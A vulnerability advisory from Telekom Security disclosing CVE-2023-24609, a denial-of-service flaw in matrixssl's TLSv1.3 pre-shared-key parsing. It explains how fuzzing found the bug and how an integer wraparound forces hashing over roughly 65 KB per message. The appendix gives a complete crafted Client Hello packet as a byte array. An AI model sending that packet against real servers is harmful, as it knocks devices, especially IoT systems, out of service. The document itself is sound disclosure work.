Critical remote denial of service vulnerability in matrixssl TLSv1.3 server pre-shared-key parsing
(CVE-2023-24609)

by Robert Hörr (e-mail: robert.hoerr@telekom.de) and
(Security Evaluators of the Telekom Security Evaluation Facility)

A new critical DoS vulnerability (CVE-2023-24609) was discovered in the matrixssl library (versions 4.6.0 - 4.0.0, https://github.com/matrixssl/matrixssl) by Security Evaluators of Telekom Security with modern fuzzing methods. The vulnerability allows an attacker to execute a hash (e.g. SHA-2) over at least 65 kilobytes RAM data per TLS-Client-Hello message. With a large number of messages, the CPU is heavily loaded. This could have a particularly negative impact on IoT devices. The matrixssl developers have fixed the vulnerability in the version 4.7.

What is the matrixssl library?
The matrixssl library is an open source project providing implementations of the security network protocols SSL, TLS and DTLS for embedded devices. The matrixssl library is employed in many commercially used systems. The security protocols ensure that two endpoints can communicate in a secure way over a network like the internet, so that an attacker is not able to read or modify the exchanged data.

How was the vulnerability discovered?
Computer software is becoming more complex. So, it is almost impossible to perform a complete source code review with reasonable coverage. For this reason, modern fuzzing methods are used to discover vulnerabilities. The fuzzing methods include, among other things, AFL, libFuzzer and AdressSanitizer. The tools AFL and libFuzzer are code coverage based fuzzer which are the next generation of fuzzing tools. The matrixssl library was fuzzed using these fuzzing methods. The AddressSanitizer found the reported buffer overflow in this article.

Where is the vulnerability located in the source code?
The vulnerability is located in the TLSv1.3 pre-shared-key extension parsing of the TLS-Client-Hello message. The function tls13VerifyBinder() executes the following function:

```
//prototype
int32_t tls13TranscriptHashUpdate(ssl_t *ssl,
                                  const unsigned char *in,
                                  psSize_t len)

//execution
tls13TranscriptHashUpdate(ssl,
            ssl->sec.tls13CHStart,
            ssl->sec.tls13CHLen - ssl->sec.tls13BindersLen);
```

The input parameter of the execution contains the subtraction *ssl->sec.tls13CHLen - ssl->sec.tls13BindersLen*. At this point, a short integer (psSize_t len) wrap around can happen, because the datatype psSize_t is unsigned short integer and there is no length check to avoid it. In worst case, the variable len gets the value 65535 and the attacked device will calculate a hash like SHA-2 over at least 65 kilobytes RAM data.

The appendix contains an example of a crafted TLS packet.

How is the vulnerability exploitable by an attacker?
The issue can be used to perform a DoS attack. An attacker sends multiple crafted TLS-Client-Hello packets to the TLS-Server at the same time. Thereby the CPU will be heavily loaded. This could have a particularly negative impact on IoT devices

What do we learn from this?
Code coverage based fuzzing combined with the AddressSanitizer is a powerful method to discover e.g. buffer overflows. With increasingly complex source codes, it is a resource-efficient alternative to source code reviews, because this fuzzing approach can be done mainly automatically. As there exist many approaches for fuzzing, it is the art of fuzzing to find the best approach. We have already discovered several vulnerabilities with our fuzzing approach.

Appendix: crafted TLS-packet

```
unsigned char data [284UL + 1] = {
0x16, 0x03, 0x03, 0x01, 0x17, 0x01, 0x00, 0x00, 0x13, 0x03, 0x03, 0x61, 0x61, 0x61, 0x61,
0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61,
0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x00, 0x00,
0x02, 0x13, 0x01, 0x01, 0x00, 0x00, 0xE8, 0x00, 0x2B, 0x00, 0x03, 0x02, 0x03, 0x04, 0x00,
0x0D, 0x00, 0x0E, 0x00, 0x0C, 0x04, 0x03, 0x05, 0x03, 0x06, 0x03, 0x08, 0x04, 0x08, 0x05,
0x04, 0x01, 0x00, 0x32, 0x00, 0x20, 0x00, 0x1E, 0x04, 0x01, 0x05, 0x09, 0x06, 0x01, 0x04,
0x03, 0x05, 0x03, 0x06, 0x03, 0x08, 0x07, 0x08, 0x04, 0x08, 0x05, 0x08, 0x06, 0x08, 0x09,
0x08, 0x0A, 0x08, 0x0B, 0x02, 0x01, 0x02, 0x03, 0x00, 0x0A, 0x00, 0x0A, 0x00, 0x08, 0x00,
0x17, 0x00, 0x18, 0x00, 0x1D, 0x00, 0x19, 0x00, 0x33, 0x00, 0x47, 0x00, 0x45, 0x00, 0x17,
0x00, 0x41, 0x04, 0x9A, 0x2F, 0x9F, 0x79, 0x97, 0xA7, 0xFA, 0xB2, 0x45, 0x3C, 0x00, 0x2B,
0x8B, 0xDC, 0x08, 0xFE, 0x4C, 0x8B, 0x62, 0x21, 0xCE, 0x68, 0x9F, 0x77, 0x1C, 0x0E, 0xE9,
0x06, 0x7E, 0x0E, 0x03, 0x93, 0x26, 0xF5, 0xAA, 0x18, 0xBE, 0x3E, 0x73, 0x65, 0xB8, 0xD5,
0xCC, 0x00, 0x31, 0x4C, 0x68, 0xD8, 0x98, 0x92, 0xEA, 0x5E, 0xCA, 0x81, 0xE5, 0x6F, 0xEF,
0xE0, 0xC5, 0x9A, 0xA2, 0xF1, 0x32, 0x6E, 0x00, 0x00, 0x00, 0x0D, 0x00, 0x0B, 0x00, 0x00,
0x08, 0x68, 0x6F, 0x73, 0x74, 0x6E, 0x61, 0x6D, 0x65, 0x00, 0x2D, 0x00, 0x03, 0x02, 0x01,
0x00, 0x00, 0x29, 0x00, 0x36, 0x00, 0x11, 0x00, 0x0B, 0x6D, 0x79, 0x70, 0x73, 0x6B, 0x73,
0x68, 0x61, 0x32, 0x35, 0x36, 0x00, 0x00, 0x00, 0x00, 0x00, 0x21, 0x20, 0x33, 0xFD, 0xED,
0x2A, 0x6E, 0x25, 0x2C, 0x83, 0x22, 0x0E, 0xF2, 0x77, 0xF0, 0x93, 0x14, 0xE9, 0x8E, 0x45,
0xA7, 0xC0, 0x03, 0xA0, 0xBA, 0x23, 0xCC, 0xD6, 0x4F, 0x3B, 0x6E, 0xF8, 0xED, 0xD7, 0x00
};
```